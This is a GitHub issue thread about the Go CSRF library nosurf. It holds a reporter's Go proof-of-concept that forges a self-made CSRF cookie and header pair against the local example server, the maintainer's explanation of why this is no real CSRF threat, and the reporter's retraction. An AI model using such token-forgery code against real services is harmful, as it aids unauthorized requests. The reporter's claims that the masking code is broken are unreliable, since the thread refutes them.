example is insecure
jolan opened this issue · 4 comments
This may be a bit silly since I don't think it is intended usage, but I find it kind of odd that by default nosurf doesn't actually verify that the CSRF token is generated by the server, just that it is valid so it is relatively easy to bypass.
Anyway, the example code says...
<!-- Try removing this or changing its value
and see what happens -->OK challenge accepted:
==> GET
ignoring csrf token prnkNlDJPKrNQztxLZ41TnTV9ILVRhpbfTatqo/qbF0= -- posting with cookie MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDE= X-CSRF-TOKEN header guBSEnDYkGLIhRVVJKnMdUfrx57ipBW2YhecPtC1ni+y0WAhRO2mVfC8JWQWmvhAcdz/p9KVJ4VWIqoJ6IyuHg== instead
==> POST
response: http status code 200
So I am able to bypass the CSRF protection by just generating my own token and removing the one from the form. Again, I realize maybe this is possibly a silly scenario but I was challenged to break the example code and I did. Client code follows:
package main
import (
"bytes"
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"net/http"
"net/url"
"strings"
"time"
)
const (
tokenLength = 32
)
func main() {
client := &http.Client{}
selfTokenBytes := []byte("01234567890123456789012345678901")
selfCookieToken := b64encode(selfTokenBytes)
selfHeaderToken := b64encode(maskToken(selfTokenBytes))
r := bytes.NewReader([]byte(""))
fmt.Printf("==> GET\n")
req, err := http.NewRequest("GET", "http://127.0.0.1:8000", r)
resp, err := client.Do(req)
if err != nil {
fmt.Printf("err: %v\n", err)
return
}
s := strings.Split(resp.Header["Set-Cookie"][0], ";")
ss := strings.SplitN(s[0], "=", 2)
fmt.Printf("ignoring csrf token %v -- posting with cookie %v X-CSRF-TOKEN "+
"header %v instead\n", ss[1], selfCookieToken, selfHeaderToken)
fmt.Printf("==> POST\n")
form := url.Values{}
form.Add("name", "jolan")
req2, err := http.NewRequest("POST", "http://127.0.0.1:8000", strings.NewReader(form.Encode()))
req2.Header.Add("X-CSRF-Token", selfHeaderToken)
expiration := time.Now().Add(365 * 24 * time.Hour)
cookie := http.Cookie{Name: "csrf_token", Value: selfCookieToken, Expires: expiration}
req2.AddCookie(&cookie)
resp2, err := client.Do(req2)
if err != nil {
fmt.Printf("err: %v\n", err)
return
}
fmt.Printf("response: http status code %v\n", resp2.StatusCode)
}
func b64encode(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
// Masks/unmasks the given data *in place*
// with the given key
// Slices must be of the same length, or oneTimePad will panic
func oneTimePad(data, key []byte) {
n := len(data)
if n != len(key) {
panic("Lengths of slices are not equal")
}
for i := 0; i < n; i++ {
data[i] ^= key[i]
}
}
func maskToken(data []byte) []byte {
if len(data) != tokenLength {
fmt.Printf("%v != %v\n", len(data), tokenLength)
panic("data != tokenLength")
}
// tokenLength*2 == len(enckey + token)
result := make([]byte, 2*tokenLength)
// the first half of the result is the OTP
// the second half is the masked token itself
key := result[:tokenLength]
token := result[tokenLength:]
copy(token, data)
// generate the random token
if _, err := io.ReadFull(rand.Reader, key); err != nil {
panic(err)
}
oneTimePad(token, key)
return result
}I'm not using a copy of the server's key and that is the problem. The CSRF tokens are not encrypted or validated in anyway because there is no server key in use.
Looking at this more, I don't think this code works at all.
Take a look at maskToken() and unmaskToken() and oneTimePad():
https://github.com/justinas/nosurf/blob/master/crypto.go#L8-L54
maskToken() and unmaskToken() are called without arguments yet generate an internal key. That key is passed to oneTimePad() which claims it modifies the data in place. Yet it doesn't take a pointer...
Notice how the tests test masking but don't actually compare against a pre-calculated masked value?
https://github.com/justinas/nosurf/blob/master/crypto_test.go#L54-L83
Really it should take a key on init like gorilla csrf.
Hi @jolan,
You are not entirely incorrect, but your bypass of the token check hinges on one very important aspect: in your example, you are able to set the cookie on the request. However, in a natural scenario (an HTML form on attackers page), the attacker is able to manipulate POST parameters, but not able to set a cookie value with your host. The check of the token received in the form against the one stored in the cookie does indeed happen:
if !verifyToken(realToken, sentToken) {
ctxSetReason(r, ErrBadToken)
h.handleFailure(w, r)
return
}I see no way of preventing the client from setting the cookie to whatever they like without introducing a stateful storage mechanism to nosurf. But again, this can not happen in a CSRF attack.
Now token authenticity is a feature that has been suggested before, but it would somewhat change nosurf's API and there are already other libraries that provide this, so I never saw a point to make another clone. Nosurf remains a less full-fledged solution, for better or worse.
That key is passed to oneTimePad() which claims it modifies the data in place. Yet it doesn't take a pointer...
Go slices are reference types, so in this case and in fact most cases a pointer is not needed: the function does not receive a copy of the slice's data but a slice header consisting of a pointer to the same underlying array as the caller and integers indicating the length and capacity of the slice. See this Go blog article for more info on slice internals.
Notice how the tests test masking but don't actually compare against a pre-calculated masked value?
oneTimePad() is tested separately and has a test that actually compares its result to a precomputed value. See this test
I hope I answered your worries. I will close the issue as I think this behavior of nosurf poses no threat in a CSRF scenario, but feel free to re-open it if you still think it is a security problem in any way.
Yep sorry I realized my mistake a few minutes after hitting the Comment button. I had a debug Printf in the wrong place which made me misinterpret. 😊